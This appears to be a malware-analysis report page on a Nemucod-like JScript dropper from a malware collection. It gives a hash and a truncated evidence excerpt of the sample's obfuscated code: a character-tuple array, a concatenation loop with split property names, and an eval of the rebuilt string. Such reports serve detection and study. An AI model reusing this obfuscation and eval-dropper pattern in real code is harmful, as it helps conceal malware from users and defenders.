Suspicious ^80% javascript-malware-collection Download

20161006_be5035fdeb80fd88be33997f76d431bf.js

Obfuscated JScript eval dropper, Nemucod-like

Dense gp token arrayCharacter array using comma tuples

SHA-256e33f3c4a6fac3a183df8caf8126cd6af2d3722ff463c8bfb8f2218c93519f908

Evidence

Dense gp token array lines 1–8

1
2/*@cc_on
3var gc0 = "";
4var gp = 0;
5
6asdddddddddd();
7var bd,xj,yz,bz,ob,tp,pd,dk,ny,ta,cr,qh,fe,wh,eq,kc,hj0,bg,nu,wc,xl,mi0,pw,yh,er,nr,hg,cr0,pp,cy,xf,it,dh,mu,rk,eo,hj,vr,xy,ap,nj,qi,ux,ty,ez,ki,ur,oz0,ug,dz,zo,rv,vj,lh,hy,ik,rm,wm,xs,qa,wd,oz,ui,gk,ji,yz0,jk,fy,pi,km,sz,rc,gc,wq,pf,wn,ga,ul,zs,hw,dw,yo,sl,fu,mi,bc;
8var fd = [("x", qa),("x", jk),("x", oz),("x", mu),("x", wh),("x", ul),("x", hj),("x", oz),("x", ap),("x", ga),("x", it),("x", dh),("x", hj0),("x", bd),("x", ap),("x", ap),("x", ap),("x", ap),("x", gk),("x", wn),("x", ui),("x", ap),("x", dw),("x", cr),("x", vr),("x", ul),("x", bc),("x", jk),("x", ta),("x", rk),("x", qa),("x", jk),("x", vr),("x", wh),("x", ta),("x", rk),("x", ap),("x", hy),("x", ap),("x", pp),("x", cy),("x", hg),("x", pp),("x", xl),("x", pp),("x", pp),("x", xl),("x", pp),("x", mu),("x", pp),("x", xl),("x", pp),("x", ui),("x", pp),("x", xl),("x", pp),("x", ul),("x", pp),("x", xl),("x", pp),("x", fe),("x", wh),("x", pp) …

Nemucod split length property lines 8–45

8:172644… ", vj),("x", xj),("x", bd),("x", xj),("x", bd)];
9do
10{
11    gc0 = gc0['c'+"o"+'n'+"ca"+"t"](fd[gp]);
12    var dl = (fd["l"+"e"+'n'+"gt"+"h"]-1);
13} while (gp++ < dl);
14eval(gc0);
15function asdddddddddd()
16{
17bd=('d', '\x0a');
18xj=('d', '\x0d');
19yz=('d', 'D');
20bz=('d', 'H');
21ob=('d', 'L');
22tp=('d', 'P');
23pd=('d', 'T');
24dk=('d', 'X');
25ny=('d', '\x09');
26ta=('d', 'd');
27cr=('d', 'h');
28qh=('d', 'l');
29fe=('d', 'p');
30wh=('d', 't');
31eq=('d', '\x7d');
32kc=('d', '\x7c');
33hj0=('d', '\x7b');
34bg=('d', '\x2f');
35nu=('d', '\x2d');
36wc=('d', '\x2e');
⋯9 lines